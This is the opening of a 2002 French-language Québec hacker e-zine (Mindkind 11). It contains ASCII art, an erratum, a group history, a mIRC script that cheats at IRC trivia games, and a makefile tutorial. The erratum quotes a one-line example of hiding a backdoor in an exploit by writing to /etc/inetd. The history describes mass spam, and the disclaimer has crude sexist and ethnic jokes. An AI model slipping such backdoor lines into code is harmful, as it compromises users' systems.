 
 __ _ ____                         __ _ ____          
|         \_________________ _ ___/         |     .---- --- --- ---------. .---- --- --- ---- -----.
;                                           |    /                       |/                        | 
|                                           |   /                        /                         |
|                                           |  /                        /                          |
|       ____________                        |_/_                       /                           | 
|      |_ _ ________|                       |   |                     /                            | 
|       _ __ _ _____   __ _________   __ ___|   |____                /_________                    |
|      |            | |            | |          |    |                   |     |   \          /    | 
|      |            | |            | |  _       |    |                   |     |  (o)        (o)   |  
|      |            | |     |      | | |_|      |    :_                  |     |                   | 
.      |___ ___ ____| |___ _|_ ____| |____ _____|    |_)                 |_____:        ||         |
|                                           |        |__)                :_____        o  o         \ 
|                                           |        :_)                 .     ;                     \
|                                           :        |_)                       | _   _   _   _   _ |\ \
.                                           !        |                   |     |/ \_/ \_/ \_/ \_/ \| \ \    
|                                           |                            |              qha      ,--./ /   
:              |             |              !        ;                              rectum crew |_    /                
;              |             :              |                            |           pyrofreak  |_   /              
|______________|_____________|______________|        !                   ;           mad quebec |___/                    
                                                                         |          immortal hack                
                                                     ;                   |        _   _   _   _   _    
 ______ _____ _ ___ ____    __ _______ __ __         |                   |       / \_/ \_/ \_/ \_/ | 
|                       |  /                |        |                   |      |                  |
;                       | /                 |        |                     __ __|                  |__ __
:                       |/                  '        |                    |                              | 
|                                          /         |                   :|                              |
.                                         /          |                   ||                              | 
|                                        /                               |'-- ----- -- -- - -------  ----'
|       _ ______ ___                    /   ____     |                   |             
|      |_ __________|                  /   |    |    ;                               
'       _ __ _ _____   _____ ___ __   /____|    |    |                        Québec Underground E-zine 
|      |            | |            | |          |                        |           issue 11       
|      |            : |            | |  _       |    .                   '             aka
|      |            | |            | | |_|      |    |                   |          Mindkind11      
.      |_ _ ________| |___ _|_ ____| |____ _____|    :                   |         
|                                       \            '                   :
|                                        \      __ __|                   |__ _
|                       /\                \    |                              |
;                      :  \                \   |                              |
|                      |   \               '   |                              |
|_ __ ____________ ____|    \____ _______ _|   '------------ - ---------------'
"Mindkind11: Plus grand que jamais. || Le père nowel existe pas, Mindkind si. "



Après l'augmentation des  ventes faramineuses de  Mindkind 10, il n'a  pas  été
compliqué de convaincre le président de la caisse de dépôt de nous  faire  prêt
des quelques 320  millions qu'ont coûté  le budget d'effet  spéciaux du  ezine.
Sans compter la paie  de tous les employés  de soutien  et  sous-traitants  tel
que le coursier qui porte les  post-its jaunes entre  les employés  de  soutien
et la présidence et bien sur  entre la présidence et les sous-traitants.   Sans
oublier la secrétaire blonde aux seins refaits, prête à servir  (la  secrétaire
ou les.. au  besoin) et pour  l'ambiance, les 3  mexicains qui  soutiennent  le
mur. Il va sans  dire que le budget  a été des mieux  managé. Et si  vous  vous
attendiez à quelque chose, eh bien vous êtes dans le champ, c bien mieux,  même
si vous trouvez le contraire, c'est quand même mieux. Et si ça fait pas   votre
affaire on a  aussi payé des  nano-pygmés, pour suivre  vos moindres faits   et
gestes, qui appellent les nano-policiers  au moindre signe de dégoût  de  votre
part pour  vous maîtriser  par la  force, ainsi  que des  nano-contrôleurs   de
nano-policiers qui ont pour fonction de  s'assurer que le tout se déroule  dans
la plus grande  douleur possible. Il  ne vous reste  plus maintenant qu'a  vous
asssir confortablement et a savourer le produit.

Celui qui trouve le message encodé dans ce disclaim gagne 2 billets qui donnent
accès à des warp-gates nolisées pour les îles Fidji.



Erratum :
   Ceux qui sont moins habitués avec la langue française se demandent
   certainement ce que c'est qu'un erratum.  Et bien, c'est un retour
   sur les erreures qu'on fait dans un périodique.

   Dans un soucis d'offrir le meilleur produit possible,  nous  avons
   décidé de revenir sur les erreurs commises  dans Mindkind, car oui
   Mindkind fait des erreurs, et on est loin d'être les  seuls,  mais
   on est peut-être les seuls qui l'avoue.   C'est  donc  pour  cette
   raison (et aussi à cause de notre arrogance légendaire)  que  nous
   allons aussi corriger les autres.


Source : Mindkind 10 - Relatations sur le rectum crw
Erreur de type : trompé de personne
On a rapidement su qu'on a inclu une personne dans le tas, sans que ça soit  un
vrai membre du rectum shit. Il s'agit de UnixGods (lire UnixGoods). Au début on
pensait que  c'était un  prétentieux, on  avait raison.  Par contre,  lui aussi
avait raison de l'être : cé pas un membre du rectum chose, et il est compétant.
C'est pour  cette raison  d'ailleurs qu'il  s'est join  à Mindkind, devenant un
allier plus qu'utile. M'enfin, on c'était trompé car il se tenait  sur  le chan
des rectums pour les mêmes raisons que nous.. les observer.
M'enfin, nos excuses.


Source : Mindkind 10 - Team teso Exploit
Erreur de type : peut-être une erreur de jugement
Et oui, encore une erreur sur  la personne. Cette fois ci, l'article  mentionne
que c'est le team TESO qui a backdoorer l'exploit... est-ce vrai? Si on regarde
dans le  passé il  y a  plusieurs sploits  de TESO  qui ont été backdoorés.. et
comme de faite TESO la dit sur le site.. comme nous faisait remarquer g463  "tu
penses que c gars la on du temps  à perdre à faire des doors?". Par contre,  on
peut se demander à quel point on peut trouver crédible un groupe de hack qui se
défend de mettre des backdoors dans leurs exploits. S'ils le feraient vraiment,
probablement qu'ils diraient aussi que ce n'est pas eux, et le  fait  d'ajouter
    execl("/bin/echo", "backdoors", "backdoors > /etc/inetd", NOLL);
n'est pas tres long, vous en conviendrez. Finalement on place plus cette erreur
comme une grande incertitude sur le coupable.. paranoïa oblige.


Source : www.madquebec.org
Erreur de type : ramassis de fausse affaire
sur le site de madquebec (un groupe minable de la scene local), on peu lire
ceci :
"
  13/11/2002 - Le hackfest s'est bien deroule en fin de semaine.
  Effectivement le HackFest etait pas mal cool. Les anciens de l'underground 
  etait la  au grand complet.. Total Control ( un peu vieux mais tres bon ), 
  MindKind ( ca pas marcher fort fort leur affaires.. c'est dommage car il ont 
  du potenciel ), Northern Phun Co ( NPC... on oubli jamais ces classiques =P )
  IGA ( un autre classique ), et moi.. ( bon je faisait pitier mais bon ! ). Il
  n'y a pas eu vraiment de competition mais on peut dire que c'est une 
  reussite... attendons nous à plus gros l'annee prochaine !
"
Les vérités  dans cette  nouvelle la,  s'arrêttent à  la première ligne. Err418
n'était pas présent (Total Control), Mindkind n'a pas participé, NPC était  pas
vraiment la  non plus, et lui  on l'ignore, tellement  il est inconnu.  Si vous
voulez  vraiment savoir  ce qu'a été  le Hackfest, allez  lire l'article de  ce
ezine qui se rapporte directement à l'évènement.


Source : Mindkind 11
Erreur de type : ne vous en faites pas les enfants.
Il est mentionné dans le titre sous le logo du présent ezine que
"le père nowel existe pas".   C'est faux, le voici :

                      _____________    
                     /         \   \          __ _ __________ _ _____  
                    /           \   \        |                       |
                   / _________   \   |       |                       | 
                   \/         \  /   |       |  will  hack  to  get  | 
                   /   _   _   \/_   |       |  my fuckin raindeers  | 
                   |   O _ o   |  \_  \      |         BACK !        |
                   |  __(_)__  |    \ /      |                       |
                  /\_/       \_/\~~ / \      |_____ ___    _____ ____|
                 /     _____     \ ~\_/                |  |
               __|    /___ _\  ~~ |____ _ ______ _ _ __| _|
              /  |        \\ ~    |               | |   _)|
             /   \         \\ ~~  /               | |  |(_|
            /     \         ''~~ /    _ _ _____ _ |_|__|( |
           /       \__ _ __ ____/ .   /'               |  |
          /                      '     \               |  |
         /      /                      /               |__|
        /\____ /      .                |     
        \_____/                        |
       /     \                         '
      /   /\_/._ __ _ ________ ________/
      \_\_|   |                        | 
              |_ _ ____________ _____ _|       
               \                      /
                \                    /      
                 |                  |       
                 |        '         |
                 |_ _ ____|_ _ _____|       
                 |____ ___|___ _ ___|      
              ___|        |         |___       
             |            |             |      
              \_ ____ ___/ \__ ____ ___/          
                 




Nous rejoindre ? Quelle idée farfelue, si vous croyez toutefois que vous
avez une raison légitime de le faire,  vous pouvez communiquer avec nous
via email à mindkind@mindkind.org ou par irc :
   Undernet     : #mindkind.org
   Dalnet       : #mindkind
   Efnet        : #mindkind
   OpenProjects : #mindkind

Si vous avez rien d'intéressant à dire, on apprécierait que vous le
gardiez pour vous. Merci.



						          Wyzeman  &  LastCall_





                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  -----. 
     :    \ \ \__/ / /                    |_|\_\           \        \       : 
     ,     \/      \/ Table des anti-matières               \   11   \      |
     :                                                       \________|     .
     ;                                                                      !
     : 11.01  Le Patrimoine lémurien                          LastCall_     .
     ; 11.02  You Make me File like an ASCII queen             acidmen      .
     : 11.03  40 PKP en show dans un trou de terre            init_null     :
     , 11.04  Googleownized                                      __2        :
     : 11.05  Review du Hackfest 2002                          Wyzeman      |
     : 11.06  Avez-vous déjà touché un (Cisco) CLI?           LastCall_     .
     . 11.07  Le mirroir de l'évolution                       nothing94     !
     . 11.08  Un trio fmt svp                                   g463        .
     , 11.09  One day we should be root                        Wyzeman      |
     ; 11.10  C'est rare un raw socket sous Win                 Alice^      :
     : 11.11  Un hack XSS en pain d'épice                     MindFlayR     !
     : 11.12  You're younger now that in the end                c4ndu       |
     , 11.13  The Perl Anthology Tome 3                       LastCall_     .
     : 11.14  T'en veux-tu du code en vla!                      val0rz      !
     : 11.15  Le secret de la pierre philosophale             LastCall_     |
     ; 11.16  Run Micro$oft run                                 BoiSS       :
     . 11.17  "I'm in love with my sadness" **                  c4ndu       :
     ; 11.18  .hack_history                                    Mindkind     |
     :                                                        ________      .
     .                                                       \        \     !
     .                                                        \        \    .
     ;  ** Zero(smashing pumpkins)                             \        \   :
     :                                                          \        \  :
     '-- -----  - -------- --- --------- - --  ------------ --- -\        \-'
                                                                  \____ _ _\






      Dans la version "full" du ezine, vous retrouverez :
           - Mister T vs. Lamers, Part 1 : Au hackfest (histoire fictive)
           - Radio31337 - Les conseils pour hax0r.mp3  (conseils fictifs)
           - Mindkind en rubic snake



                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.01 Le patrimoine lémurien vous présente :           \        \     !
     .             Histoire de Mindkind;                       \        \    .
     ;              industrialisation with attitude             \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

Septembre 2002 : Lancement de Mindkind 10
  C'est dans un bing bang que le ezine fût lancé. Faut dire qu'on avait fait du
  MASS SPAM, alors ça la  bien marché. De mémoire comme ça, on a eu dans le 150
  hits sur le  web si on compte  pas les dupes faits pour  faire hot. Bien  que
  complètement dégueulasse (spammer on join  sur #montreal genre haha) le  mass
  spam  nous  a permit  de  nous faire  connaître...  Pendant que  le  ezine se
  répandait, le fameux rectum crew continuait de se faire fesser dessus car  la
  notoriété lame du rectum crew était maintenant ancrée dans la tête  de  tous.
  Il est à noté qu'après la parution du ezine,  UnixGods (maintenant __syscall)
  c'est  joint à  nous, car  lui aussi  était contre  le RC  (voir mon  article
  Erratum). C'est grâce à lui d'ailleurs que le rectum crew nous a proposé  une
  "trêve", du genre "on touche pu  à vos channels, faites-nous une  liste". heh
  Pendant ce temps notre reste  de publique cible d'insulte (pyrofake),  disait
  que notre ezine était à chier, sûrement  à cause qu'il avait du texte à  lire
  entre les ASCIIs. Une fois content d'avoir vu que toute la planète (heh) a lu
  notre ezine, tout le  monde  voulait  faire  un  deuxième  ezine...  jusqu'au
  lendemain ou on oublia tout et on prit des petites vacances.
  
Octobre 2002 : un ti break qui dure pas trop longtemps..
  Bon ok, c'est clair  qu'on n'était pas pour  sortir un deuxième ezine  drette
  là,  mais l'ambiance  était à  son meilleur.  Tigerbalm fut  diagnostiqué  du
  syndrome  du  je-fais-des-bots-oui-des-bots.  LastCall_  tellement  en manque
  commença a coder un bot qui cruise à sa place.  g463 changea d'idée au  sujet
  du ezine (gee était très rébarbatif au sujet de faire un ezine), ce qui était
  une preuve que finalement on suckait pas tant que ça... bien que productif et
  aisée, l'ambiance resta calme sur le channel, le ezine nous avait épuisé.

Mi-Octobre 2002 : LastCall_ ya une grande yeule
  Constatant  que son  bot lui  avait pas  encore pogné  de chix,  Last  décida
  d'écrire  quelque  chose  d'actuel  :  il  débuta  la  fameuse  NewsLetter de
  Mindkind. Une fois par semaine, il s'enferma dans son appart en relisant  les
  logs de la semaine, et en  sortant des histoires ajoutées, le tout  en visant
  directement  les  personnes  sur #Mindkind  Undernet.  La  NewsLetter fut  un
  succès, et  le groupe  devint sur  le même  beat. Ceux  qui n'avaient  pas la
  chance d'avoir le temps de suivre tout ce  qui  se  passait  sur  le  channel
  pouvait avoir les meilleurs moments,  et ceux qui avaient  du temps à  perdre
  pouvait lire sur  les différents sujets traités  par  Last  qui  avaient  pas
  nécessairement rapport avec Mindkind, mais qui étaient quand même pertinents.
  La NewsLetter grossissait de semaine en  semaine,  signe  que  le  groupe  se
  réactivait, on a même vu une de 37ko (crissement long à lire heh).

Novembre 2002 : ça roule ma poule
  Last et init ont fait une autre radio (épisode 3) en direct de chicoutimi, ce
  fut un fun incroyable, avec ~15 users tout le long. Un best-of a été fait, et
  un  paquet  de personnes  (~100  sans jokes)  l'ont  downloadé. De  plus  les
  Mindkindiens  étaient rendus  totalement accros  au bot  faite par  Last  (le
  supposé  bot  qui  cruisait  sur  réseau-contact  pour  Last  était  en  fait
  contrôlable via IRC..  hee hee). Le  monde failli viré  barge à regarder  des
  pics de chix à longueur de journée, mais le hackfest approchait. C'est  alors
  qu'un méga-trip de moi-jcode-des-sploits  commença, Wyzeman était de  la fête
  avec __2 (pour  le hackfest justement)  et g463 pitonnais  sur #mindkind avec
  init_null, Wyze, [Funky] pis sûrement d'autre monde que j'oublie. C'était  la
  folie furieuse.. Last était en rush d'université pis de dépression, donc Wyze
  prit la relève une fois pour la NewsLetter. Le chan allait de bon train, mais
  le hosting de  mindkind.org était slow  à cause de  la connexion de  Last qui
  était rendu à 5mpbs en upload, pour 300 users :-/. C'est alors que WiL  sorti
  de l'ombre avec une proposition de  webhosting.   Wyzeman  avait  donc  lancé
  l'idée via la mailing list du ezine #11.

Fin Novembre 2002 : préliminaires
  Tout le monde était excité de partout, __2 commença un peu à suivre Mindkind,
  car  depuis le  pré-hackfest lui  pis Wyze  avaient beaucoup  fait  de  stock
  ensemble.. Last fit d'ailleurs un montage des pics disponible sur un site  de
  secours : http://www.geocities.com/agecal2/mr_t/.  Plutôt marrant, les autres
  continuaient leurs projets, qui  d'ailleurs sont tellement nombreux  que j'en
  ai de la misère à m'en souvenir... heureusement on était pas pour tout perdre
  dans la brume.. car le ezine se faisait sentir...

Décembre 2002 : start of the ezine mania
  Tout  commençait  à grouiller  en  fonction  de  sortir  un ezine,  plusieurs
  articles furent écrits,  plein de prédiction  d'articles, des codes  sources,
  etc. __2 a décidé  que Mindkind c'était bien,  qu'il ne voulait pas  en faire
  parti, mais  qu'il ne  voulait pas  gaspiller ses  articles sans les publier.
  C'est alors qu'on ouvrit la  porte du ezine aux "collaborateurs  extérieurs",
  mais le chan était solidement fondé, et les personnes présentes (si on compte
  les bots on  a un peak  de 27, une  moyenne de 16-20)  étaient réticentes aux
  nouveaux venus, cependant  acidmen sorti de  That 70s show  et est venu  nous
  épater avec de la jonglerie virtuelle. h3 eu une idée de BD et Last (avec son
  imagination de mongole) alla lui donner un petit coup de main et en un  autre
  coup de main (ça s'en vient violent la)  de la part de BoiSS, et un bot  XDCC
  pour spreader  notre stock  (décidément le  new host  pour le  site web était
  attendu) rapidement fut créé. Quand même bien, on verra sa puissance de feu à
  la sortie  du prochain  ezine.. Cette  prochaine sortie  stressa le monde (en
  plus  de la  fin de session Univ/Cgep)  et l'atmosphère  devint violente  par
  moment. Cependant Last avait fini de péter sa dépression, et  Mindkind  était
  trop solidement placé pour être désancré.

Nowel 2002 : un ezine comme cado dnowel stu pas cuuute
  C'est donc après  une phase d'assurance  qualité (clin d'oeil GL ici) que  le
  ezine fut emballer spécialement pour  vous (tar cvf et gzip).  Contenant plus
  de cadeaux que le bas de nowel d'un éthiopien de classe pauvre, voici donc le
  ezine Mindkind 11 à imprimer et à lire pendant les partys des fêtes poches.



                                                      - La mémoire de LastCall_

            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /               lastcall@mindkind.org                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'



      Voici un petit script mIRC qui vous permettra d'avoir l'air uber  élite
      sur #triviafr (trivia, vous savez ces jeux ou un bot pose une  question
      et dont le premier a la réponse fait x pts. Un jeux ou les BS excellent
      généralement puisque les pts sont compilés par  semaine,  et  qu'un  BS
      dans une semaine a 168(7*24) heures de temps à perdre dans  un  trivia.
      Pas besoin de dormir quand on est BS. Enfin, voici  un  code  qui  vous
      permettra de leur faire rendre compte que vous êtes plus bright qu'eux.
      Crédit : rtfm` (via BoiSS)

------------------------------- 8< cut here 8< -------------------------------

on 1:text:*:#triviafr: {
  if Trivia isin $nick {
    if (Question isin $1- && ? isin $1-) { 
      set %triviafr.questions $1-    
      $read(questions.txt,s,$1-)
      if ($readn == 0)  { 
        set %triviafr.addquestion 1 
        set %triviafr.theanswer 
      } 
      else { 
        ;timer 1 $rand(1,4) msg $chan $read(reponses.txt,$readn) 
        set %triviafr.theanswer $read(reponses.txt,$readn)
        echo #triviafr JE CONNAIS LA RÉPONSE F9 POUR RÉPONDRE | echo #triviafr La reponse est %triviafr.theanswer
        set %triviafr.addquestion 0 
      }
    }
    if (=> isin $1- && => isin $1- && A Gagné !isin $1- && pour la dernière question !isin $1-) {
      set %triviafr.theanswer
      set %triviafr.temp $remove($1-,$left($1-,$pos($1-,>,4) +1))
      set %triviafr.temp2 $strip($remove($left(%triviafr.temp,$pos(%triviafr.temp,<,1) +2),<)) $+ 
      echo %triviafr.temp2
      if %triviafr.addquestion = 1  { write questions.txt %triviafr.questions | write reponses.txt %triviafr.temp2 }
    }
  }
}

menu channel {
  &TriviaFR
  .&Lines Number:/echo -a Questions lines : $lines(questions.txt) | echo -a Answers Lines : $lines(reponses.txt)
  .-
  .&TOP10:/msg #triviafr !top10
}

alias F9 { /msg #triviafr %triviafr.theanswer | set %triviafr.theanswer $chr(32) }
alias F8 { /msg #triviafr !!hint }
alias F7 { /msg #triviafr hehe.. google }

------------------------------- >8 cut here >8 -------------------------------




                                                       __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.02  Présentation des makefiles                      \        \     !
     .             aka                                         \        \    .
     ;        You Make me File like an ASCII queen              \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     
                     
                   ^^^^^^^
                    Ò] []
                     ~~~~
                ____ | | _____  
                    ______  
                ||  |    |  ||
                ||  | A  |  ||          J`aimerais remercier tout spécialement 
               =====| Z  |=====         Micheline SansZavnir qui m'a enduré
                    | T  |              pendant mes longs cours de ... 
                  | | E  | |            ascii par correspondance.
                  | | K  | |
                    |_  _| 
                 /  ( || )  \
                / /(  ||)  \ \                
                /    (||  )  \
         \    / /     ||       \     /
         \ \ / /      || )    \ \  / / 
           \  / [01010101010]  \ / /   
                            En passant pour ceux qui ne savent pas encore
                            qu'est-ce que j'ai voulu dessiner c'est sans
                            importance... dites vous juste que je suis 31337 ;P




Présentation des makefiles.


Vous aurez sûrement remarqué le  makefile livré avec un programme  lorsque vous
l'avez compilé. Étant donné le niveau de complexité pouvant être atteint par un
fichier make,  vous pouvez  à juste  raison vous  demander : "pourquoi utiliser
make?"

Si vous imaginez un instant un projet composé de dizaine, voir de centaines  de
modules,  vous n'êtes  sans doute  pas très  impatient de  recompiler tous  ces
modules chaque  fois que  vous modifiez  une ligne  de code.  Imaginez que vous
devriez  recompiler  entièrement  votre  noyau  à  la  main  après  une  petite
modification du code source. Il serait extrêmement difficile de déterminer  les
compilations  à  omettre,  et   l'omission  de  la  compilation   indispensable
entraînerait des  problèmes. C'est  pourquoi la  commande make  est précisément
destinée à ce genre de travail.

La  commande make  est capable  de tirer  des conclusions  sur les  dépendances
existantes entre divers fichiers. Elle possède d'autres fonctionnalités qui  la
rendent  très  puissante:   elle  sait  définir   des  macros  et   des  cibles
supplémentaires qui vous permettront d'être plus efficace.

Autre  avantage  des processus  make  : les  instructions  de compilation  sont
enregistrées dans  le fichier  make. Par  exemple, il  n'est pas  nécessaire de
mémoriser tous  les paramètres  de ligne  de commande  utilisés pour un projet.
Mieux encore, il n'est pas  nécessaire de documenter à l'intention  d'autrui ce
qui vous a servi à construire ce projet.


 >> Le Makefile

Lorsque vous  lancez la  commande make  sans désigner  explicitement un fichier
make sur la ligne  de commande ( avec  le paramètre -f), l'utilitaire  GNU make
recherche trois noms de fichiers par  défaut dans le répertoire en cours,  dans
l'ordre suivant :

 1. GNUmakefile
 2. makefile
 3. Makefile


 >> Nommer le Makefile

Makefile
	Le nom Makefile avec la première lettre en majuscule convient le mieux,
	car lorsque vous listez vos fichiers, il figure en début de  la  liste.

GNUmakefile
        La documentation de  GNU make conseille  d'éviter d'employer le  nom de
        fichier GNUmakefile. Vous ne devez  l'utiliser que si vous vous  servez
        des foncionnalités  gérées par  la commande  GNU make.  Si le groupe de
        fonctionnalités  employées  est  celui  make  UNIX  standard,  préférez
        Makefile ou makefile.

makefile
        Lorsque le nom Makefile normal( avec un "M" majuscule) est utilisé,  il
        vous reste une possibilité préalable. Si vous téléchargez un  paquetage
        de  sources  de l'Internet,  mais  découvrez que  vous  avez besoin  de
        modifier le Makefile fourni, vous pouvez tester vos modifications  sans
        toucher à ce Makefile:
	  1. Recopiez Makefile en makefile.
	  2. Editez makefile selon vos besoins.
	  3. Lancez la commande make. C'est makefile qui est utilisé à la
	     place de Makefile, car il est choisi en premier lorsqu'il existe.

 >> Les cibles des Makefile

La commande make commence par la notion de cible.
Lorsqu'elle possède un fichier make, la commande make doit traiter au moins une
cible de  ce fichier,  sinon rien  ne se  passe ;  et si le fichier ne contient
aucune cible, la commande make se plaint de la situation :

|#| bash$ make
|#| make: *** No targets. Stop.
|#| bash$

 >> Définir les cibles
Le listing 1.0 suivant présente un Makefile très simple pourvu de trois cibles,
one, two, three, aux ligne 4, 7 et 10. Un nom de cible commence toujours au
début d'une ligne et est suivi du caractère deux-points.
 
	_= Listing (1.0) Makefile simple comportant trois cibles =_

|#| 1:   # Source: /home/acidmen/make/RCS/Makefile,v $
|#| 2:   
|#| 3:   
|#| 4:   one:
|#| 5:       @echo One
|#| 6:
|#| 7:   two:
|#| 8:       @echo two
|#| 9:   
|#| 10:  three:
|#| 11:       @echo three
|#| 12:
|#| 13:   # End Makefile

 

 >> Invoquer les cibles de Makefile

Pour invoquer une cible, il suffit d'indiquer son nom sur la ligne de commande.
Par exemple, la commande suivante invoque la cible two:

|#| bash$ make two
|#| Two
|#| bash$

Dans cette exemple, make ignore totalement les cibles one et three.


 >> Invoquer plusieurs cibles

Vous pouvez également invoquer plusieurs cibles sur une même ligne
de commande:

|#| bash$ make three one two
|#| Three
|#| One
|#| Two
|#| bash$

Remarquez que les cibles sont traitées dans l'ordre des arguments de la
ligne de commande.

 >> Les cibles par défaut
La commande make suppose que la toute première cible rencontrée dans le
fichier make est la cible par défault. Considérez l'exemple suivant :

|#| bash$ make
|#| One
|#| bash$

make invoque la première cible rencontrée, one, à la ligne 4 du listing  (1.0).
Les noms de cible two et three sont considérées comme cibles de remplacement et
ne sont pas invoquées.


  >> Les noms de cible standards
Bien  qu'aucun  standard  formel  n'existe  pour  les  noms  de  cibles,   vous
rencontrerez quelques  conventions très  répandues lorsque  vous examinerez les
fichiers make de sources publiquement téléchargeables.

[*] _all_ est souvent utilisé comme  la première cible et par conséquent  celui
par défaut.  Il sert  habituellement à  nommer les  vrais noms  de cibles,  qui
peuvent être une ou plusieurs autre  cibles, qui peuvent être une ou  plusieurs
autres cibles. En utilisant cette cible, vous construisez le projet entier.

[*] _install_ est normalement employé pour installer un projet construit,  dans
ses répertoires  dus système  Linux, avec  les autorisations  correctes et  les
règles de propriété, en créant les sous-répertoires si nécessaire.

[*]  _clean_ est  souvent utilisé  pour vous  permettre de  supprimer tous  les
fichiers objet (*.o), les fichiers core, et les autres fichiers provisoires qui
ont pu être créés lors de  la construction. Cette cible laisse les  exécutables
et les bibliothèques construits en place.

[*] _clobber_  est  souvent  utilisé pour   supprimer les  cibles  construitent
du projet (en général, les  exécutables  et les bibliothèques). Vous  supprimez
ces cibles pour reconstruire les fichiers de configuration du projet, etc.

[*] _distclean_  est souvent  utilisé par  les développeurs  Linux et  GNU pour
nettoyer  complètement  le fichier  du  projet, sauf  en  ce qui  concerne  les
fichiers d'origine  distribués sur  l'Internet. Dépassant  clobber, cette cible
supprime les fichiers de configuration du projet, etc.


 >> Les dépendances
On accepte couramment des dépendances entre certains noms de cibles.
En tant que programmeur( ou progGameur? peut importe;), vous devez savoir que :

[*] La cible install dépend habituellement de all.
[*] La cible clobber dépend habituellement de clean.
[*] La cible distclean dépend habituellement de clobber.

Si  install  dépend  de la  cible  all,  le projet  est  d'abord  construit, si
nécessaire,  puis  l'installation tentée.  Sinon,  il n'existe  aucun  projet à
installer. Cependant, les logiciels sont souvent installés avec les  privilèges
de root,  il n'est  par conséquent  pas souhaitable  de construire votre projet
lorsque vous  opérez sous  root. Si  vous vous  en sentez  capable, vous pouvez
omettre cette dépendance dans votre projet.

La cible clobber  dépend de clean,  généralement par commodité.  La cible clean
s'occupe d'une partie  du travail et  il vous suffit  de définir le  reste pour
clobber. La cible distclean fonctionne sur le même principe.


 >> Définir les dépendances
Le listing (2.0) présente un nouveau  fichier make auquel ont été ajoutées  des
dépendances. La cible three dépend de la cible two (ligne 10), et la cible  two
dépend à présent de la cible one (ligne 7). Remarquez que les dépendances  sont
simplement indiquées après le nom de  la cible et le caratère deux-points.  Les
dépendances supplémentaires sont séparées par un ou plusieurs espaces. Au moins
un espace doit séparer le caractère deux points de la prmière dépendances.

	_= Listing (2.0) Makefile avec dépendances=_

|#| 1:   #Source: /home/acidmen/make/RCS/Makefile,v $
|#| 2:
|#| 3:
|#| 4:   one:
|#| 5:      @echo One
|#| 6:
|#| 7:   two:	one
|#| 8:      @echo Two
|#| 9:   
|#| 10:  three: two
|#| 11:     @echo Three
|#| 12:
|#| 13:   # End Makefile

  
  >> Tester les dépendances des cibles
A présent, lorsque vous invoquez le  fichier make du Listing (2.0) avec  le nom
de cible three, vous constatez que la commande make traite en réalité les trois
cibles:

|#| bash$ make three
|#| One
|#| Two
|#| Three
|#| bash$

Cet ordre vous surprend-t-il? La cible  est exécutée la première, car la  cible
two dépend d'elle, et  la cible three dépend  de two. Par conséquent,  avant de
pouvoir faire quoi  que ce soit  pour la cible  three, ses dépendances  doivent
être  satisfaites.  Bien  que  la cible  invoquée  soit  three,  la chaîne  des
dépendance est tell que make doit  invoquer one en premier pour satisfaire  les
deux autres cibles.

 >> Définir les macros de make
La puissance des scripts shell tient en partie à leur capacité d'utiliser et de
manipuler des  variables shell  et des  variables d'environnement.  La commande
make  possède  ce  genre  de  fonctionnalité  et  sait  également  utiliser les
variables d'environnement.

Une macro make peut  contenir une valeur de  chaîne comme un nom  de fichier ou
une valeur de paramètre. Une macro  permet de ne définir qu'une seule  fois une
certaine  valeur  dans  le  Makefile, tout  en  permettant  de  l'utiliser dans
plusieurs  endroits.  Lorsqu'une  modification  est  nécessaire,  il  suffit de
modifier l'affectation de la macro,  et elle apparaît immédiatement partout  où
la macro est utilisée.

Le listing (3.0) présente une nouvelle édition du Makefile de démonstration. La
ligne 5 montre  comment déclarer une  macro OBJECT et  initialiser sa valeur  à
"Pear". Vous  supprimez également  les dépendances  préalablement utilisées  et
ajoutez un  nom de  cible par  défaut plus  conventionnel, all,  à la  ligne 7.
Remarquez que cette  cible dépend de  trois cibles, on,  two, three. Un  projet
important est souvent structuré de cette façon dans un fichier make.

	_= Listing (3.0) Makefile avec une définition de macro=_

|#| 1:   # Source: /home/acidmen/make/RCS/Makefile,v $
|#| 2:   # Revision: 1.3 $
|#| 3:
|#| 4:
|#| 5:   OBJECT= Pear
|#| 6:
|#| 7:   All: one two three
|#| 8:
|#| 9:   one:
|#| 10:     @echo one $(OBJECT)
|#| 11:
|#| 12:  two:
|#| 13:     @echo Two $(OBJECT)s
|#| 14:
|#| 15:  three:
|#| 16:     @echo Three $(OBJECT)s
|#| 17:
|#| 18:  # End Makefile

Les lignes 10, 13  et 16 montrent un  exemple d'utilisation de la  valeur de la
macro. Elle est  substituée au signe  $ et au  nom de la  macro qui suit  entre
parenthèses. Les parenthèses ne sont pas nécessaires lorsque le nom de la macro
ne  comporte  qu'une  lettre,  par  exemple  $x.  Il  est  cependant  conseillé
d'utiliser des noms de macro significatifs. A présent, invoquez ce fichier make
et observez son résultat.

|#| bash$ make
|#| One Pear
|#| Two Pears
|#| Three Pears
|#| bash$

Remarquez la substitution par la valeur. Notez aussi que la cible de la ligne 7
ne comporte aucune instruction. Cette ligne  ne sert qu'à relier une cible  aux
autres dépendances.

  >> Supplanter les valeurs d'une macro
La commande make permet également de passer outre la valeur d'une macro.
Avec le fichier make du listing (2.0), vous exécuter :

|#| bash$ make OBJECT=apple
|#| One apple
|#| Two apples
|#| Three apples
|#| bash$

